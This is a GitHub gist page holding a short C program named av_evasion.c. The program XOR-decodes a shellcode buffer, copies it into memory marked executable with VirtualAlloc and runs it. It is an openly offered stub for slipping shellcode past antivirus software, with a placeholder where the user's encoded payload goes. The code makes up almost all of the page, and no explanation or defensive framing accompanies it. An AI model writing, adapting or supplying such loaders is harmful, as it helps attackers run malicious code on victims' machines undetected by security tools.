Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@kurobeats
Created April 1, 2017 08:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kurobeats/6375b0f5a4b665fb61fc4ca4ed024ee2 to your computer and use it in GitHub Desktop.
Save kurobeats/6375b0f5a4b665fb61fc4ca4ed024ee2 to your computer and use it in GitHub Desktop.
av_evasion.c
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment